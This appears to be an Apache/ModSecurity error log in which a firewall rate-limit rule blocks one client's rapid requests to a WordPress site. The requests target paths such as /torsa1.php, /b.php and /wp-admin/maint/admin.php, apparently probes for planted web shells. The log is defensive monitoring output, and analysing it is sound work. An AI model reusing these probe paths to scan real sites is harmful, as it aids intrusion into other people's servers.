[Wed Apr 01 02:50:30.138463 2026] [:error] [pid 52594:tid 52706] [client 68.221.68.130:22761] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-load.php"] [unique_id "acwXdke53suVMS91e0RIOwAAAMU"]
[Wed Apr 01 02:50:30.223095 2026] [:error] [pid 19113:tid 19132] [client 68.221.68.130:22682] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-load.php"] [unique_id "acwXdvXQdXnDyA4XYbYFhwAAARE"]
[Wed Apr 01 02:50:30.647276 2026] [:error] [pid 19113:tid 19130] [client 68.221.68.130:22781] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-load.php"] [unique_id "acwXdvXQdXnDyA4XYbYFigAAAQ8"]
[Wed Apr 01 02:50:30.701419 2026] [:error] [pid 19113:tid 19134] [client 68.221.68.130:22670] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-load.php"] [unique_id "acwXdvXQdXnDyA4XYbYFiwAAARM"]
[Wed Apr 01 02:50:31.128843 2026] [:error] [pid 52592:tid 52658] [client 68.221.68.130:22691] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-load.php"] [unique_id "acwXdz-61iqkPKUhqlb9wgAAAAs"]
[Wed Apr 01 02:50:31.181374 2026] [:error] [pid 52836:tid 52897] [client 68.221.68.130:22774] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-load.php"] [unique_id "acwXd5jk_YTY8bXnEz5wUAAAAEU"]
[Wed Apr 01 02:50:31.610545 2026] [:error] [pid 52592:tid 52651] [client 68.221.68.130:22754] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acwXdz-61iqkPKUhqlb9wwAAAAQ"]
[Wed Apr 01 02:50:31.674110 2026] [:error] [pid 52592:tid 52669] [client 68.221.68.130:22657] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acwXdz-61iqkPKUhqlb9xgAAABY"]
[Wed Apr 01 02:50:32.089616 2026] [:error] [pid 52594:tid 52719] [client 68.221.68.130:22658] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acwXeEe53suVMS91e0RIQQAAANI"]
[Wed Apr 01 02:50:32.156028 2026] [:error] [pid 52592:tid 52666] [client 68.221.68.130:22894] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acwXeD-61iqkPKUhqlb9xwAAABM"]
[Wed Apr 01 02:50:32.571510 2026] [:error] [pid 52592:tid 52667] [client 68.221.68.130:22949] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acwXeD-61iqkPKUhqlb9yAAAABQ"]
[Wed Apr 01 02:50:32.776769 2026] [:error] [pid 52592:tid 52671] [client 68.221.68.130:22782] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acwXeD-61iqkPKUhqlb9yQAAABg"]
[Wed Apr 01 02:50:33.052828 2026] [:error] [pid 52836:tid 52914] [client 68.221.68.130:22770] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acwXeZjk_YTY8bXnEz5wWAAAAFY"]
[Wed Apr 01 02:50:33.257214 2026] [:error] [pid 52592:tid 52660] [client 68.221.68.130:22863] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/torsa1.php"] [unique_id "acwXeT-61iqkPKUhqlb9ywAAAA0"]
[Wed Apr 01 02:50:33.533497 2026] [:error] [pid 52594:tid 52718] [client 68.221.68.130:22722] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "acwXeUe53suVMS91e0RIQwAAANE"]
[Wed Apr 01 02:50:33.740176 2026] [:error] [pid 52593:tid 52681] [client 68.221.68.130:22756] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "acwXeeKOtxqtcDhRtD-ikQAAAIc"]
[Wed Apr 01 02:50:34.027483 2026] [:error] [pid 52593:tid 52689] [client 68.221.68.130:22847] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "acwXeuKOtxqtcDhRtD-ikgAAAI8"]
[Wed Apr 01 02:50:34.227553 2026] [:error] [pid 19113:tid 19119] [client 68.221.68.130:22665] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "acwXevXQdXnDyA4XYbYFkwAAAQQ"]
[Wed Apr 01 02:50:34.513327 2026] [:error] [pid 52592:tid 52655] [client 68.221.68.130:22712] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "acwXej-61iqkPKUhqlb9zwAAAAg"]
[Wed Apr 01 02:50:34.706309 2026] [:error] [pid 52592:tid 52653] [client 68.221.68.130:22617] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "acwXej-61iqkPKUhqlb90QAAAAY"]
[Wed Apr 01 02:50:34.995644 2026] [:error] [pid 52592:tid 52656] [client 68.221.68.130:22681] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "acwXej-61iqkPKUhqlb90gAAAAk"]
[Wed Apr 01 02:50:35.194425 2026] [:error] [pid 19113:tid 19115] [client 68.221.68.130:22767] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "acwXe_XQdXnDyA4XYbYFmQAAAQA"]
[Wed Apr 01 02:50:35.476907 2026] [:error] [pid 52594:tid 52701] [client 68.221.68.130:22675] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vaza.php"] [unique_id "acwXe0e53suVMS91e0RIRQAAAMA"]
[Wed Apr 01 02:50:35.676810 2026] [:error] [pid 52593:tid 52698] [client 68.221.68.130:22764] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vaza.php"] [unique_id "acwXe-KOtxqtcDhRtD-ilQAAAJg"]
[Wed Apr 01 02:50:35.960565 2026] [:error] [pid 19113:tid 19138] [client 68.221.68.130:22667] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vaza.php"] [unique_id "acwXe_XQdXnDyA4XYbYFmgAAARc"]
[Wed Apr 01 02:50:36.166563 2026] [:error] [pid 52836:tid 52905] [client 68.221.68.130:22749] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vaza.php"] [unique_id "acwXfJjk_YTY8bXnEz5wYAAAAE0"]
[Wed Apr 01 02:50:36.439475 2026] [:error] [pid 52594:tid 52703] [client 68.221.68.130:22686] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vaza.php"] [unique_id "acwXfEe53suVMS91e0RISgAAAMI"]
[Wed Apr 01 02:50:36.652101 2026] [:error] [pid 52593:tid 52680] [client 68.221.68.130:22699] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vaza.php"] [unique_id "acwXfOKOtxqtcDhRtD-ilwAAAIY"]
[Wed Apr 01 02:50:36.931508 2026] [:error] [pid 52593:tid 52691] [client 68.221.68.130:22604] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vaza.php"] [unique_id "acwXfOKOtxqtcDhRtD-imQAAAJE"]
[Wed Apr 01 02:50:37.137615 2026] [:error] [pid 52592:tid 52669] [client 68.221.68.130:22780] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vaza.php"] [unique_id "acwXfT-61iqkPKUhqlb91wAAABY"]
[Wed Apr 01 02:50:37.415908 2026] [:error] [pid 52593:tid 52695] [client 68.221.68.130:22678] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "acwXfeKOtxqtcDhRtD-inQAAAJU"]
[Wed Apr 01 02:50:37.615119 2026] [:error] [pid 52594:tid 52722] [client 68.221.68.130:22709] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "acwXfUe53suVMS91e0RISwAAANU"]
[Wed Apr 01 02:50:37.901539 2026] [:error] [pid 19113:tid 19131] [client 68.221.68.130:22666] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "acwXffXQdXnDyA4XYbYFnQAAARA"]
[Wed Apr 01 02:50:38.097897 2026] [:error] [pid 52592:tid 52666] [client 68.221.68.130:22684] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "acwXfj-61iqkPKUhqlb93AAAABM"]
[Wed Apr 01 02:50:38.386709 2026] [:error] [pid 52592:tid 52661] [client 68.221.68.130:22595] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "acwXfj-61iqkPKUhqlb93QAAAA4"]
[Wed Apr 01 02:50:38.581603 2026] [:error] [pid 52836:tid 52898] [client 68.221.68.130:22751] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "acwXfpjk_YTY8bXnEz5waQAAAEY"]
[Wed Apr 01 02:50:38.876085 2026] [:error] [pid 52594:tid 52701] [client 68.221.68.130:22741] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "acwXfke53suVMS91e0RIUQAAAMA"]
[Wed Apr 01 02:50:39.062040 2026] [:error] [pid 52836:tid 52906] [client 68.221.68.130:22661] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "acwXf5jk_YTY8bXnEz5wawAAAE4"]
[Wed Apr 01 02:50:39.357372 2026] [:error] [pid 52594:tid 52708] [client 68.221.68.130:22672] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "acwXf0e53suVMS91e0RIUwAAAMc"]
[Wed Apr 01 02:50:39.555144 2026] [:error] [pid 52593:tid 52684] [client 68.221.68.130:22769] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "acwXf-KOtxqtcDhRtD-inwAAAIo"]
[Wed Apr 01 02:50:39.837361 2026] [:error] [pid 52592:tid 52650] [client 68.221.68.130:22677] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "acwXfz-61iqkPKUhqlb94QAAAAM"]
[Wed Apr 01 02:50:40.038061 2026] [:error] [pid 52592:tid 52651] [client 68.221.68.130:22697] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "acwXgD-61iqkPKUhqlb94gAAAAQ"]
[Wed Apr 01 02:50:40.319859 2026] [:error] [pid 19113:tid 19120] [client 68.221.68.130:22705] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "acwXgPXQdXnDyA4XYbYFowAAAQU"]
[Wed Apr 01 02:50:40.517668 2026] [:error] [pid 19113:tid 19137] [client 68.221.68.130:22663] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "acwXgPXQdXnDyA4XYbYFpAAAARY"]
[Wed Apr 01 02:50:40.803863 2026] [:error] [pid 52836:tid 52909] [client 68.221.68.130:22649] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "acwXgJjk_YTY8bXnEz5wbQAAAFE"]
[Wed Apr 01 02:50:40.997501 2026] [:error] [pid 52836:tid 52916] [client 68.221.68.130:22776] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "acwXgJjk_YTY8bXnEz5wbgAAAFg"]
[Wed Apr 01 02:51:05.914038 2026] [:error] [pid 52836:tid 52904] [client 68.221.68.130:22692] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v.php"] [unique_id "acwXmZjk_YTY8bXnEz5wvgAAAEw"]
[Wed Apr 01 02:51:06.152994 2026] [:error] [pid 52836:tid 52894] [client 68.221.68.130:22696] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v.php"] [unique_id "acwXmpjk_YTY8bXnEz5wvwAAAEI"]
[Wed Apr 01 02:51:06.395843 2026] [:error] [pid 52836:tid 52902] [client 68.221.68.130:22680] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v.php"] [unique_id "acwXmpjk_YTY8bXnEz5wwAAAAEo"]
[Wed Apr 01 02:51:06.638022 2026] [:error] [pid 52592:tid 52666] [client 68.221.68.130:22688] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v.php"] [unique_id "acwXmj-61iqkPKUhqlb-JwAAABM"]
[Wed Apr 01 02:51:06.878447 2026] [:error] [pid 52836:tid 52896] [client 68.221.68.130:22747] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v.php"] [unique_id "acwXmpjk_YTY8bXnEz5wwQAAAEQ"]
[Wed Apr 01 02:51:07.117780 2026] [:error] [pid 52836:tid 52893] [client 68.221.68.130:22683] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v.php"] [unique_id "acwXm5jk_YTY8bXnEz5wwgAAAEE"]
[Wed Apr 01 02:51:07.362780 2026] [:error] [pid 19113:tid 19128] [client 68.221.68.130:22784] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v.php"] [unique_id "acwXm_XQdXnDyA4XYbYGAgAAAQ0"]
[Wed Apr 01 02:51:07.620858 2026] [:error] [pid 52593:tid 52680] [client 68.221.68.130:22783] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v.php"] [unique_id "acwXm-KOtxqtcDhRtD-itAAAAIY"]
[Wed Apr 01 02:51:07.858765 2026] [:error] [pid 52592:tid 52652] [client 68.221.68.130:23079] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d2.php"] [unique_id "acwXmz-61iqkPKUhqlb-LQAAAAU"]
[Wed Apr 01 02:51:08.103943 2026] [:error] [pid 52592:tid 52647] [client 68.221.68.130:22771] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d2.php"] [unique_id "acwXnD-61iqkPKUhqlb-LgAAAAA"]
